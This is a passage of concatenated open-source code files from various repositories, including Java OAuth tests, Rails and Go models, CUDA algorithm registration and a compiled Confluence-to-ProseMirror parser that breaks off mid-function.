Boolean.class);
}
protected <T> T getBody(Message message, T defaultValue, Class<T> type) throws Exception {
T body = message.getBody(type);
if (body == null) {
body = defaultValue;
}
return body;
}
protected void setBodyAndResult(Message message, Object body) throws Exception {
setBodyAndResult(message, body, body != null);
}
protected void setBodyAndResult(Message message, Object body, boolean result) throws Exception {
message.setHeader(ConsulConstants.CONSUL_RESULT, result);
if (body != null) {
message.setBody(body);
}
}
protected Processor wrap(Function<C, Object> supplier) {
return exchange -> setBodyAndResult(exchange.getIn(), supplier.apply(getClient()));
}
}
|
manurajsingh/cas | support/cas-server-support-oauth/src/test/java/org/apereo/cas/support/oauth/profile/DefaultOAuth20ProfileScopeToAttributesFilterTests.java | package org.apereo.cas.support.oauth.profile;
import org.apereo.cas.AbstractOAuth20Tests;
import org.apereo.cas.services.RegisteredServiceTestUtils;
import org.apereo.cas.ticket.accesstoken.OAuth20AccessToken;
import lombok.val;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import static org.junit.jupiter.api.Assertions.*;
import static org.mockito.Mockito.*;
/**
* This is {@link DefaultOAuth20ProfileScopeToAttributesFilterTests}.
*
* @author <NAME>
* @since 6.3.0
*/
@Tag("OAuth")
public class DefaultOAuth20ProfileScopeToAttributesFilterTests extends AbstractOAuth20Tests {
@Autowired
@Qualifier("profileScopeToAttributesFilter")
private OAuth20ProfileScopeToAttributesFilter profileScopeToAttributesFilter;
@Test
public void verifyOperation() {
val principal = RegisteredServiceTestUtils.getPrincipal();
val input = profileScopeToAttributesFilter.filter(
RegisteredServiceTestUtils.getService(),
principal,
RegisteredServiceTestUtils.getRegisteredService(),
mock(OAuth20AccessToken.class));
assertEquals(input, principal);
assertTrue(profileScopeToAttributesFilter.getAttributeReleasePolicies().isEmpty());
}
}
|
franklee26/appfolio-uber-for-vendors | app/models/landowner.rb | <reponame>franklee26/appfolio-uber-for-vendors
class Landowner < ApplicationRecord
has_many :tenants
has_many :freebusies
has_and_belongs_to_many :vendors
validates :name, presence: true, length: {maximum: 50}
VALID_EMAIL_REGEX = /\A[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i
validates :email, presence: true, length: {maximum: 255}, format: { with: VALID_EMAIL_REGEX }, uniqueness: { case_sensitive:false }
end
|
jonrzhang/MegEngine | dnn/src/cuda/local_share/backward_filter/algo.cpp | <filename>dnn/src/cuda/local_share/backward_filter/algo.cpp
/**
* \file dnn/src/cuda/local_share/backward_filter/algo.cpp
* MegEngine is Licensed under the Apache License, Version 2.0 (the "License")
*
* Copyright (c) 2014-2020 Megvii Inc. All rights reserved.
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
#include "./algo.h"
#include "src/cuda/utils.h"
using namespace megdnn;
using namespace cuda;
LocalShareBackwardFilterImpl::AlgoPack::AlgoPack() {
all_algos.push_back(&implicit_gemm);
all_algos.push_back(&batched_matmul);
for (auto&& algo : all_algos) {
m_all_algos_map.emplace(algo->info().desc, algo);
}
}
MEGDNN_DEF_GET_ALGO_FROM_DESC(LocalShareBackwardFilterImpl)
LocalShareBackwardFilterImpl::AlgoPack LocalShareBackwardFilterImpl::sm_algo_pack;
LocalShareBackwardFilterImpl::AlgoBase::SizeArgs::SizeArgs(
LocalShareBackwardFilterImpl* o, const TensorLayout& src,
const TensorLayout& diff, const TensorLayout& grad)
: opr{o}, src_layout{src}, diff_layout{diff}, grad_layout{grad} {}
LocalShareBackwardFilterImpl::AlgoBase::ExecArgs::ExecArgs(LocalShareBackwardFilterImpl* opr,
_megdnn_tensor_in src,
_megdnn_tensor_in diff,
_megdnn_tensor_out grad,
_megdnn_workspace workspace)
: SizeArgs(opr, src.layout, diff.layout, grad.layout),
src_tensor{&src},
diff_tensor{&diff},
grad_tensor{&grad},
workspace{workspace} {}
std::string LocalShareBackwardFilterImpl::AlgoBase::SizeArgs::to_string()
const {
auto&& param = opr->param();
MEGDNN_MARK_USED_VAR(param);
return megdnn_mangle(ssprintf(
"src=%s, diff=%s, grad=%s, "
"pad=%ux%u, stride=%ux%u, dilate=%ux%u, xcorr=%d, dtype=%s,%s->%s",
src_layout.to_string().c_str(), diff_layout.to_string().c_str(),
grad_layout.to_string().c_str(), param.pad_h, param.pad_w,
param.stride_h, param.stride_w, param.dilate_h, param.dilate_w,
static_cast<int>(param.mode), src_layout.dtype.name(),
diff_layout.dtype.name(), grad_layout.dtype.name()));
}
// vim: syntax=cpp.doxygen
|
hequan2017/raptor | server/model/autocode/service.go | // 自动生成模板Service
package autocode
import (
"raptor/server/global"
)
// Service 结构体
// 如果含有time.Time 请自行import time包
type Service struct {
global.GVA_MODEL
Name string `json:"name" form:"name" gorm:"column:name;comment:项目名称;size:255;"`
Type string `json:"type" form:"type" gorm:"column:type;comment:类型;size:255;"`
Url string `json:"url" form:"url" gorm:"column:url;comment:库地址;size:255;"`
Branch string `json:"branch" form:"branch" gorm:"column:branch;comment:分支;size:255;"`
Start string `json:"start" form:"start" gorm:"column:start;comment:启动命令;size:255;"`
Stop string `json:"stop" form:"stop" gorm:"column:stop;comment:关闭命令;size:255;"`
Activity string `json:"activity" form:"activity" gorm:"column:activity;comment:探活地址;size:255;"`
Env string `json:"env" form:"env" gorm:"column:env;comment:环境变量;"`
Shell string `json:"shell" form:"shell" gorm:"column:shell;comment:打包命令;"`
Other string `json:"other" form:"other" gorm:"column:other;comment:其他;"`
Products []Product `json:"products" gorm:"many2many:service_product_id;"`
}
// TableName Service 表名
func (Service) TableName() string {
return "service"
}
|
PranavOnGit/JavaMasterClass | Exercises/NumberToWords.java | package Exercises;
//please refer NumberToWords.txt for problem statement.
public class NumberToWords {
public static void main(String[]args){
numberToWords(10010);
}
public static void numberToWords(int number) {
if (number < 0) {
System.out.println("Invalid Value");
}
int reverseNumber = reverse(number);
for (int i = 0; i < getDigitCount(number); i++) {
switch (reverseNumber % 10) {
case 0:
System.out.println("Zero");
break;
case 1:
System.out.println("One");
break;
case 2:
System.out.println("Two");
break;
case 3:
System.out.println("Three");
break;
case 4:
System.out.println("Four");
break;
case 5:
System.out.println("Five");
break;
case 6:
System.out.println("Six");
break;
case 7:
System.out.println("Seven");
break;
case 8:
System.out.println("Eight");
break;
case 9:
System.out.println("Nine");
break;
default:
break;
}
reverseNumber /= 10;
}
System.out.println();
}
public static int reverse(int number) {
int reverseNumber = 0;
while (number != 0) {
reverseNumber = (reverseNumber * 10) + (number % 10);
number /= 10;
}
return reverseNumber;
}
public static int getDigitCount(int number) {
if (number < 0) {
return -1;
}
int counter = 1;
while (number > 9) {
number /= 10;
counter++;
}
return counter;
}
}
|
boutainaLemrabet/jhipster-composite-key-server-blueprint | test/samples/composite-key-blueprint/src/main/java/com/mycompany/myapp/service/dto/TaskCommentCriteria.java | package com.mycompany.myapp.service.dto;
import java.io.Serializable;
import java.util.Objects;
import io.github.jhipster.service.Criteria;
import io.github.jhipster.service.filter.BooleanFilter;
import io.github.jhipster.service.filter.DoubleFilter;
import io.github.jhipster.service.filter.Filter;
import io.github.jhipster.service.filter.FloatFilter;
import io.github.jhipster.service.filter.IntegerFilter;
import io.github.jhipster.service.filter.LongFilter;
import io.github.jhipster.service.filter.StringFilter;
/**
* Criteria class for the {@link com.mycompany.myapp.domain.TaskComment} entity. This class is used
* in {@link com.mycompany.myapp.web.rest.TaskCommentResource} to receive all the possible filtering options from
* the Http GET request parameters.
* For example the following could be a valid request:
* {@code /task-comments?id.greaterThan=5&attr1.contains=something&attr2.specified=false}
* As Spring is unable to properly convert the types, unless specific {@link Filter} class are used, we need to use
* fix type specific filters.
*/
public class TaskCommentCriteria implements Serializable, Criteria {
private static final long serialVersionUID = 1L;
private LongFilter id;
private StringFilter value;
private LongFilter taskId;
public TaskCommentCriteria() {
}
public TaskCommentCriteria(TaskCommentCriteria other) {
this.id = other.id == null ? null : other.id.copy();
this.value = other.value == null ? null : other.value.copy();
this.taskId = other.taskId == null ? null : other.taskId.copy();
}
@Override
public TaskCommentCriteria copy() {
return new TaskCommentCriteria(this);
}
public LongFilter getId() {
return id;
}
public void setId(LongFilter id) {
this.id = id;
}
public StringFilter getValue() {
return value;
}
public void setValue(StringFilter value) {
this.value = value;
}
public LongFilter getTaskId() {
return taskId;
}
public void setTaskId(LongFilter taskId) {
this.taskId = taskId;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
final TaskCommentCriteria that = (TaskCommentCriteria) o;
return Objects.equals(id, that.id) &&
Objects.equals(value, that.value) &&
Objects.equals(taskId, that.taskId);
}
@Override
public int hashCode() {
return Objects.hash(
id,
value,
taskId
);
}
@Override
public String toString() {
return "TaskCommentCriteria{" +
(id != null ? "id=" + id + ", " : "") +
(value != null ? "value=" + value + ", " : "") +
(taskId != null ? "taskId=" + taskId + ", " : "") +
"}";
}
}
|
GillisWerrebrouck/RalewayCompany | railway-app-timetable/src/main/java/com/railway/timetable_service/domain/TimetableItem.java | package com.railway.timetable_service.domain;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import javax.persistence.Column;
import javax.persistence.ElementCollection;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import com.railway.timetable_service.adapters.messaging.TrainType;
@Entity
public class TimetableItem {
@Id
@GeneratedValue
private Long id;
private LocalDateTime startDateTime;
private LocalDateTime endDateTime;
// delay in minutes
private int delay;
private String reasonForDelay;
private Long routeId;
private UUID routeRequestId;
private String trainId;
private TrainType requestedTrainType;
private UUID trainRequestId;
private int groupCapacity;
private int reservedGroupSeats;
private UUID stationsRequestId;
@org.hibernate.annotations.Type(type="org.hibernate.type.UUIDCharType")
private UUID trainOperatorRequestId;
@org.hibernate.annotations.Type(type="org.hibernate.type.UUIDCharType")
private UUID trainConductorRequestId;
private int requestedTrainConductorsAmount;
@Column
@ElementCollection(targetClass=String.class, fetch=FetchType.EAGER)
private List<String> staffIds = new ArrayList<String>();
private Status routeStatus;
private Status trainReservationStatus;
private Status stationsReservationStatus;
private Status staffReservationStatus;
@SuppressWarnings("unused")
private TimetableItem() {}
public TimetableItem(LocalDateTime startDate, LocalDateTime endDateTime, Long routeId, String trainId, TrainType requestedTrainType, List<String> staffIds, int requestedTrainConductorsAmount) {
this.startDateTime = startDate;
this.endDateTime = endDateTime;
this.delay = 0;
this.reasonForDelay = null;
this.reservedGroupSeats = 0;
this.routeId = routeId;
this.routeRequestId = null;
this.trainId = trainId;
this.trainRequestId = null;
this.groupCapacity = 0;
this.requestedTrainType = requestedTrainType;
this.stationsRequestId = null;
this.trainOperatorRequestId = null;
this.trainConductorRequestId = null;
this.requestedTrainConductorsAmount = requestedTrainConductorsAmount;
this.staffIds = staffIds;
this.routeStatus = Status.UNKNOWN;
this.trainReservationStatus = Status.UNKNOWN;
this.stationsReservationStatus = Status.UNKNOWN;
this.staffReservationStatus = Status.UNKNOWN;
}
public TimetableItem(Long routeId, LocalDateTime startDate, TrainType requestedTrainType, int requestedStaffAmount) {
this(startDate, null, routeId, null, requestedTrainType, new ArrayList<String>(), requestedStaffAmount);
}
public Long getId() {
return id;
}
public LocalDateTime getStartDateTime() {
return startDateTime;
}
public void setStartDateTime(LocalDateTime startDateTime) {
this.startDateTime = startDateTime;
}
public LocalDateTime getEndDateTime() {
return endDateTime;
}
public void setEndDateTime(LocalDateTime endDateTime) {
this.endDateTime = endDateTime;
}
public int getDelay() {
return delay;
}
public void setDelay(int delay) {
this.delay = delay;
}
public Long getRouteId() {
return routeId;
}
public void setRouteId(Long routeId) {
this.routeId = routeId;
}
public UUID getRouteRequestId() {
return routeRequestId;
}
public void setRouteRequestId(UUID routeRequestId) {
this.routeRequestId = routeRequestId;
}
public String getTrainId() {
return trainId;
}
public void setTrainId(String trainId) {
this.trainId = trainId;
}
public UUID getTrainRequestId() {
return trainRequestId;
}
public void setTrainRequestId(UUID trainRequestId) {
this.trainRequestId = trainRequestId;
}
public TrainType getRequestedTrainType() {
return requestedTrainType;
}
public void setRequestedTrainType(TrainType requestedTrainType) {
this.requestedTrainType = requestedTrainType;
}
public UUID getStationsRequestId() {
return stationsRequestId;
}
public void setStationsRequestId(UUID stationsRequestId) {
this.stationsRequestId = stationsRequestId;
}
public List<String> getStaffIds() {
return staffIds;
}
public UUID getTrainOperatorRequestId() {
return trainOperatorRequestId;
}
public void setTrainOperatorRequestId(UUID trainOperatorRequestId) {
this.trainOperatorRequestId = trainOperatorRequestId;
}
public UUID getTrainConductorRequestId() {
return trainConductorRequestId;
}
public void setTrainConductorRequestId(UUID trainConductorRequestId) {
this.trainConductorRequestId = trainConductorRequestId;
}
public int getRequestedTrainConductorsAmount() {
return requestedTrainConductorsAmount;
}
public void setRequestedTrainConductorsAmount(int requestedTrainConductorsAmount) {
this.requestedTrainConductorsAmount = requestedTrainConductorsAmount;
}
public void setStaffIds(List<String> staffIds) {
this.staffIds = staffIds;
}
public void addStaffId(String staffId) {
this.staffIds.add(staffId);
}
public Status getRouteStatus() {
return routeStatus;
}
public void setRouteStatus(Status routeStatus) {
this.routeStatus = routeStatus;
}
public Status getTrainReservationStatus() {
return trainReservationStatus;
}
public void setTrainReservationStatus(Status trainReservationStatus) {
this.trainReservationStatus = trainReservationStatus;
}
public Status getStationsReservationStatus() {
return stationsReservationStatus;
}
public void setStationsReservationStatus(Status stationsReservationStatus) {
this.stationsReservationStatus = stationsReservationStatus;
}
public Status getStaffReservationStatus() {
return staffReservationStatus;
}
public void setStaffReservationStatus(Status staffReservationStatus) {
this.staffReservationStatus = staffReservationStatus;
}
public String getReasonForDelay() {
return reasonForDelay;
}
public void setReasonForDelay(String reasonForDelay) {
this.reasonForDelay = reasonForDelay;
}
public int getGroupCapacity() {
return groupCapacity;
}
public void setGroupCapacity(int groupCapacity) {
this.groupCapacity = groupCapacity;
}
public int getReservedGroupSeats() {
return reservedGroupSeats;
}
public void setReservedGroupSeats(int reservedGroupSeats) {
this.reservedGroupSeats = reservedGroupSeats;
}
@Override
public String toString() {
return "Route " + this.routeId + ": " + this.startDateTime.toString() + " - " + this.endDateTime.toString();
}
}
|
calvinchengx/baserow | backend/src/baserow/core/managers.py | from django.db import models
class GroupQuerySet(models.QuerySet):
def of_user(self, user):
return self.filter(
users__exact=user
).order_by('groupuser__order')
|
AliYildizoz909/photo-channel-spa | src/redux/actions/search/searchActionTypes.js | export const SEARCH_BY_TEXT = "SEARCH_BY_TEXT";
export const SEARCH_BY_CATEGORY = "SEARCH_BY_CATEGORYID";
|
rholang/archive-old | packages/editor/editor-confluence-transformer/dist/cjs/parse.js | <reponame>rholang/archive-old<gh_stars>1-10
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var tslib_1 = require("tslib");
var adf_schema_1 = require("@atlaskit/adf-schema");
var editor_common_1 = require("@atlaskit/editor-common");
var prosemirror_model_1 = require("prosemirror-model");
var parse_cxhtml_1 = tslib_1.__importDefault(require("./parse-cxhtml"));
var encode_cxhtml_1 = tslib_1.__importStar(require("./encode-cxhtml"));
var utils_1 = require("./utils");
var content_wrapper_1 = require("./content-wrapper");
var supportedSingleMediaLayouts = [
'center',
'wrap-left',
'wrap-right',
'wide',
'full-width',
];
var convertedNodes = new WeakMap();
// This reverted mapping is used to map Unsupported Node back to it's original cxhtml
var convertedNodesReverted = new WeakMap();
function default_1(cxhtml, schema) {
var dom = parse_cxhtml_1.default(cxhtml).querySelector('body');
return schema.nodes.doc.createChecked({}, parseDomNode(schema, dom));
}
exports.default = default_1;
function parseDomNode(schema, dom) {
var nodes = utils_1.findTraversalPath(Array.prototype.slice.call(dom.childNodes, 0));
// Process through nodes in reverse (so deepest child elements are first).
for (var i = nodes.length - 1; i >= 0; i--) {
var node = nodes[i];
var content_1 = utils_1.getContent(node, convertedNodes);
var candidate = converter(schema, content_1, node);
if (typeof candidate !== 'undefined' && candidate !== null) {
convertedNodes.set(node, candidate);
convertedNodesReverted.set(candidate, node);
}
}
var content = utils_1.getContent(dom, convertedNodes);
var compatibleContent = content.childCount > 0
? // Dangling inline nodes can't be directly inserted into a document, so
// we attempt to wrap in a paragraph.
schema.nodes.doc.validContent(content)
? content
: content_wrapper_1.docContentWrapper(schema, content, convertedNodesReverted)
: // The document must have at least one block element.
schema.nodes.paragraph.createChecked({});
return compatibleContent;
}
function converter(schema, content, node) {
// text
if (node.nodeType === Node.TEXT_NODE ||
node.nodeType === Node.CDATA_SECTION_NODE) {
var text = node.textContent;
return text ? schema.text(text) : null;
}
// All unsupported content is wrapped in an `unsupportedInline` node. Wrapping
// `unsupportedInline` inside `paragraph` where appropriate is handled when
// the content is inserted into a parent.
var unsupportedInline = schema.nodes.confluenceUnsupportedInline.createChecked({
cxhtml: encode_cxhtml_1.default(node),
});
// marks and nodes
if (node instanceof Element) {
var tag = utils_1.getNodeName(node);
switch (tag) {
// Marks
case 'DEL':
case 'S':
return content
? utils_1.addMarks(content, [schema.marks.strike.create()])
: null;
case 'B':
case 'STRONG':
return content
? utils_1.addMarks(content, [schema.marks.strong.create()])
: null;
case 'I':
case 'EM':
return content ? utils_1.addMarks(content, [schema.marks.em.create()]) : null;
case 'CODE':
return content ? utils_1.addMarks(content, [schema.marks.code.create()]) : null;
case 'SUB':
case 'SUP':
var type = tag === 'SUB' ? 'sub' : 'sup';
return content
? utils_1.addMarks(content, [schema.marks.subsup.create({ type: type })])
: null;
case 'U':
return content
? utils_1.addMarks(content, [schema.marks.underline.create()])
: null;
case 'A':
var href = node.getAttribute('href');
if (content) {
return href
? utils_1.addMarks(content, [schema.marks.link.create({ href: href })])
: content;
}
return null;
// Nodes
case 'BLOCKQUOTE':
return schema.nodes.blockquote.createChecked({}, schema.nodes.blockquote.validContent(content)
? content
: content_wrapper_1.blockquoteContentWrapper(schema, content, convertedNodesReverted));
case 'SPAN':
return utils_1.addMarks(content, utils_1.marksFromStyle(schema, node.style));
case 'H1':
case 'H2':
case 'H3':
case 'H4':
case 'H5':
case 'H6':
var level = Number(tag.charAt(1));
var supportedMarks = [schema.marks.link].filter(function (mark) { return !!mark; });
return schema.nodes.heading.createChecked({ level: level }, schema.nodes.heading.validContent(content)
? content
: content_wrapper_1.ensureInline(schema, content, convertedNodesReverted,
// TODO: Fix any, potential issue. ED-5048
supportedMarks));
case 'BR':
return schema.nodes.hardBreak.createChecked();
case 'HR':
return schema.nodes.rule.createChecked();
case 'UL':
return schema.nodes.bulletList.createChecked({}, schema.nodes.bulletList.validContent(content)
? content
: content_wrapper_1.listContentWrapper(schema, content, convertedNodesReverted));
case 'OL':
return schema.nodes.orderedList.createChecked({}, schema.nodes.orderedList.validContent(content)
? content
: content_wrapper_1.listContentWrapper(schema, content, convertedNodesReverted));
case 'LI':
return schema.nodes.listItem.createChecked({}, schema.nodes.listItem.validContent(content)
? content
: content_wrapper_1.listItemContentWrapper(schema, content, convertedNodesReverted));
case 'P':
var textNodes_1 = [];
if (!node.childNodes.length) {
return schema.nodes.paragraph.createChecked({}, content);
}
content.forEach(function (childNode) {
textNodes_1.push(childNode);
});
// combine remaining text nodes
if (textNodes_1.length) {
return schema.nodes.paragraph.createChecked({}, content_wrapper_1.ensureInline(schema, prosemirror_model_1.Fragment.fromArray(textNodes_1), convertedNodesReverted));
}
return null;
case 'AC:HIPCHAT-EMOTICON':
case 'AC:EMOTICON':
var emoji = {
id: node.getAttribute('ac:emoji-id') || '',
shortName: node.getAttribute('ac:emoji-shortname') || '',
text: node.getAttribute('ac:emoji-fallback') || '',
};
if (!emoji.id) {
var acName = node.getAttribute('ac:name');
var acShortcut = node.getAttribute('ac:shortcut');
if (acName) {
emoji = adf_schema_1.acNameToEmoji(acName);
}
if (acShortcut) {
emoji = adf_schema_1.acShortcutToEmoji(acShortcut);
}
}
return schema.nodes.emoji.createChecked(emoji);
case 'AC:STRUCTURED-MACRO':
return convertConfluenceMacro(schema, node) || unsupportedInline;
case 'FAB:LINK':
if (node.firstChild &&
node.firstChild instanceof Element &&
utils_1.getNodeName(node.firstChild) === 'FAB:MENTION') {
var cdata_1 = node.firstChild.firstChild;
return schema.nodes.mention.createChecked({
id: node.firstChild.getAttribute('atlassian-id'),
text: cdata_1.nodeValue,
});
}
break;
case 'FAB:MENTION':
var cdata = node.firstChild;
return schema.nodes.mention.createChecked({
id: node.getAttribute('atlassian-id'),
text: cdata.nodeValue,
});
case 'FAB:MEDIA-GROUP':
var mediaNodes_1 = [];
if (!node.childNodes.length) {
throw new Error('<fab:media-group> must have at least one <fab:media> as child');
}
content.forEach(function (childNode) {
if (childNode.type === schema.nodes.media) {
mediaNodes_1.push(childNode);
}
else {
throw new Error('<fab:media-group> can only have <fab:media> as child');
}
});
if (mediaNodes_1.length) {
return schema.nodes.mediaGroup.createChecked({}, mediaNodes_1);
}
return null;
case 'FAB:MEDIA-SINGLE':
if (node.childNodes.length !== 1) {
throw new Error('<fab:media-single> must have only one <fab:media> as child');
}
var mediaNode = content.firstChild;
if (!mediaNode || mediaNode.type !== schema.nodes.media) {
throw new Error('<fab:media-single> can only have <fab:media> as child');
}
var layout = node.getAttribute('layout') || '';
var mediaSingleAttrs = {
layout: (supportedSingleMediaLayouts.indexOf(layout) > -1
? layout
: 'center'),
};
return schema.nodes.mediaSingle.createChecked(mediaSingleAttrs, mediaNode);
case 'FAB:MEDIA':
var mediaAttrs = {
id: node.getAttribute('media-id') || '',
type: (node.getAttribute('media-type') || 'file'),
collection: node.getAttribute('media-collection') || '',
};
if (node.hasAttribute('width')) {
mediaAttrs.width = parseInt(node.getAttribute('width'), 10);
}
if (node.hasAttribute('height')) {
mediaAttrs.height = parseInt(node.getAttribute('height'), 10);
}
if (node.hasAttribute('file-name')) {
mediaAttrs.__fileName = node.getAttribute('file-name');
}
if (node.hasAttribute('file-size')) {
mediaAttrs.__fileSize = parseInt(node.getAttribute('file-size'), 10);
}
if (node.hasAttribute('file-mime-type')) {
mediaAttrs.__fileMimeType = node.getAttribute('file-mime-type');
}
return schema.nodes.media.createChecked(mediaAttrs);
case 'AC:INLINE-COMMENT-MARKER':
if (!content) {
return null;
}
var attrs = { reference: node.getAttribute('ac:ref') };
return utils_1.addMarks(content, [
schema.marks.confluenceInlineComment.create(attrs),
]);
case 'AC:TASK-LIST':
return convertTaskList(schema, node) || unsupportedInline;
case 'AC:PLACEHOLDER':
var text = node.textContent;
if (text) {
return schema.nodes.placeholder.createChecked({ text: text });
}
return null;
case 'FAB:ADF':
return convertADF(schema, node) || unsupportedInline;
case 'PRE':
return schema.nodes.codeBlock.createChecked({ language: null }, schema.text(node.textContent || ''));
case 'TABLE':
if (utils_1.hasClass(node, 'wysiwyg-macro')) {
return convertWYSIWYGMacro(schema, node) || unsupportedInline;
}
else {
return convertTable(schema, node);
}
case 'TIME':
var dateStr = node.getAttribute('datetime');
if (dateStr) {
var timestamp = Date.parse(dateStr);
return schema.nodes.date.createChecked({ timestamp: timestamp });
}
return unsupportedInline;
case 'DIV':
if (utils_1.hasClass(node, 'codeHeader')) {
var codeHeader = schema.text(node.textContent || '', [
schema.marks.strong.create(),
]);
var supportedMarks_1 = [schema.marks.link].filter(function (mark) { return !!mark; });
return schema.nodes.heading.createChecked({ level: 5 }, content_wrapper_1.ensureInline(schema, prosemirror_model_1.Fragment.from(codeHeader), convertedNodesReverted,
// TODO: Fix any, potential issue. ED-5048
supportedMarks_1));
}
else if (node.querySelector('.syntaxhighlighter')) {
var codeblockNode = node.querySelector('.syntaxhighlighter');
return (convertCodeFromView(schema, codeblockNode) ||
unsupportedInline);
}
else if (utils_1.hasClass(node, 'preformatted')) {
return convertNoFormatFromView(schema, node) || unsupportedInline;
}
else if (utils_1.hasClass(node, 'content-wrapper')) {
var content_2 = parseDomNode(schema, node).content;
return prosemirror_model_1.Fragment.from(content_2);
}
return unsupportedInline;
}
}
return unsupportedInline;
}
function convertConfluenceMacro(schema, node) {
var _a = utils_1.parseMacro(node), macroName = _a.macroName, macroId = _a.macroId, params = _a.params, properties = _a.properties;
var richBodyNode = utils_1.getAcTagNode(node, 'ac:rich-text-body');
var richTextBody = richBodyNode
? parseDomNode(schema, richBodyNode).content
: null;
var plainTextBody = properties['ac:plain-text-body'] || '';
var schemaVersion = node.getAttributeNS(encode_cxhtml_1.AC_XMLNS, 'schema-version');
switch (macroName.toUpperCase()) {
case 'CODE':
var language = params.language, title = params.title;
return utils_1.createCodeFragment(schema, plainTextBody, language, title);
case 'WARNING':
case 'INFO':
case 'NOTE':
case 'TIP':
var panelTitle = params.title;
var panelBody = [];
if (panelTitle) {
panelBody.push(schema.nodes.heading.createChecked({ level: 3 }, schema.text(panelTitle)));
}
if (richTextBody) {
panelBody = panelBody.concat(richTextBody);
}
else {
panelBody.push(schema.nodes.paragraph.createChecked({}));
}
return schema.nodes.panel.createChecked({ panelType: utils_1.mapPanelTypeToPm(macroName) },
// TODO: Fix any, potential issue. ED-5048
panelBody);
case 'PANEL':
return schema.nodes.panel.createChecked({ panelType: 'note' }, richTextBody || [schema.nodes.paragraph.createChecked()]);
case 'JIRA':
var server = params.server, serverId = params.serverId, issueKey = params.key;
// if this is an issue list, render it as unsupported node
// @see https://product-fabric.atlassian.net/browse/ED-1193?focusedCommentId=26672&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-26672
if (!issueKey) {
return schema.nodes.confluenceUnsupportedInline.createChecked({
cxhtml: encode_cxhtml_1.default(node),
});
}
return schema.nodes.confluenceJiraIssue.createChecked({
issueKey: issueKey,
macroId: macroId,
schemaVersion: schemaVersion,
server: server,
serverId: serverId,
});
}
if (plainTextBody) {
return schema.nodes.codeBlock.createChecked({ language: null }, schema.text(plainTextBody));
}
switch (properties['fab:display-type']) {
case 'INLINE':
return schema.nodes.inlineExtension.createChecked({
extensionType: 'com.atlassian.confluence.macro.core',
extensionKey: macroName,
parameters: {
macroParams: utils_1.getExtensionMacroParams(params),
macroMetadata: {
macroId: { value: macroId },
schemaVersion: { value: schemaVersion },
placeholder: [
{
data: { url: properties['fab:placeholder-url'] },
type: 'image',
},
],
},
},
});
case 'BLOCK':
var attrs = {
extensionType: 'com.atlassian.confluence.macro.core',
extensionKey: macroName,
parameters: {
macroParams: utils_1.getExtensionMacroParams(params),
macroMetadata: {
macroId: { value: macroId },
schemaVersion: { value: schemaVersion },
placeholder: [
{
data: { url: properties['fab:placeholder-url'] },
type: 'image',
},
],
},
},
};
return richTextBody
? schema.nodes.bodiedExtension.createChecked(attrs, prosemirror_model_1.Fragment.from(richTextBody))
: schema.nodes.extension.createChecked(attrs);
}
return null;
}
function convertWYSIWYGMacro(schema, node) {
var name = utils_1.getMacroAttribute(node, 'name').toUpperCase();
switch (name) {
case 'CODE':
case 'NOFORMAT':
var codeContent = node.querySelector('pre').textContent || ' ';
var _a = utils_1.getMacroParameters(node), language = _a.language, title = _a.title;
return utils_1.createCodeFragment(schema, codeContent, language, title);
}
return null;
}
function convertCodeFromView(schema, node) {
var container = node.querySelector('.container');
var content = '';
if (container) {
var childNodes = container.childNodes;
for (var i = 0, len = childNodes.length; i < len; i++) {
content += childNodes[i].textContent + (i === len - 1 ? '' : '\n');
}
}
var language;
if (node.className) {
language = (node.className.match(/\w+$/) || [''])[0];
}
return utils_1.createCodeFragment(schema, content, language);
}
function convertNoFormatFromView(schema, node) {
var codeContent = node.querySelector('pre').textContent || ' ';
return utils_1.createCodeFragment(schema, codeContent);
}
var RELATIVE_TABLE_WIDTH = editor_common_1.akEditorFullPageMaxWidth;
var NUMBER_COL_WIDTH = editor_common_1.akEditorTableNumberColumnWidth;
function convertTable(schema, node) {
var _a = schema.nodes, table = _a.table, tableRow = _a.tableRow, tableCell = _a.tableCell, tableHeader = _a.tableHeader;
var rowNodes = [];
var rows = node.querySelectorAll('tr');
var colgroup = node.querySelector('colgroup');
var columnInfos = colgroup ? colgroup.querySelectorAll('col') : [];
var tableBaseWidth = utils_1.calcPixelsFromCSSValue(node.style.width || '100%', RELATIVE_TABLE_WIDTH);
var columnSizes = [];
for (var i = 0, len = columnInfos.length; i < len; i++) {
var columnInfo = columnInfos[i];
if (columnInfo.style.width) {
columnSizes.push(utils_1.calcPixelsFromCSSValue(columnInfo.style.width, tableBaseWidth));
}
else {
columnSizes.push(0);
}
}
var isNumberColumnEnabled;
for (var i = 0, rowsCount = rows.length; i < rowsCount; i++) {
// skip nested tables from query selector
if (rows[i].parentNode !== null) {
var parent_1 = void 0;
if (rows[i].parentNode.nodeName === 'tbody') {
parent_1 = rows[i].parentNode.parentNode;
}
else {
parent_1 = rows[i].parentNode;
}
if (parent_1 !== node) {
continue;
}
}
var cellNodes = [];
var cols = rows[i].querySelectorAll('td,th');
if (typeof isNumberColumnEnabled === 'undefined') {
isNumberColumnEnabled = cols[0].classList.contains('numberingColumn');
}
if (isNumberColumnEnabled && columnSizes.length) {
columnSizes[0] = NUMBER_COL_WIDTH;
}
var colwidthIdx = 0;
for (var j = 0, colsCount = cols.length; j < colsCount; j++) {
// skip nested tables from query selector
if (cols[j].parentElement && cols[j].parentElement !== rows[i]) {
continue;
}
var cell = cols[j].nodeName === 'td' ? tableCell : tableHeader;
var pmNode = parseDomNode(schema, cols[j]);
var colspan = parseInt(cols[j].getAttribute('colspan') || '1', 10);
var background = cols[j].getAttribute('data-highlight-colour') || null;
if (background) {
// convert confluence color name to editor color
background =
adf_schema_1.tableBackgroundColorNames.get(background.toLowerCase()) || background;
}
var colwidth = columnSizes.length
? columnSizes.slice(colwidthIdx, colwidthIdx + colspan)
: null;
var attrs = {
colspan: colspan,
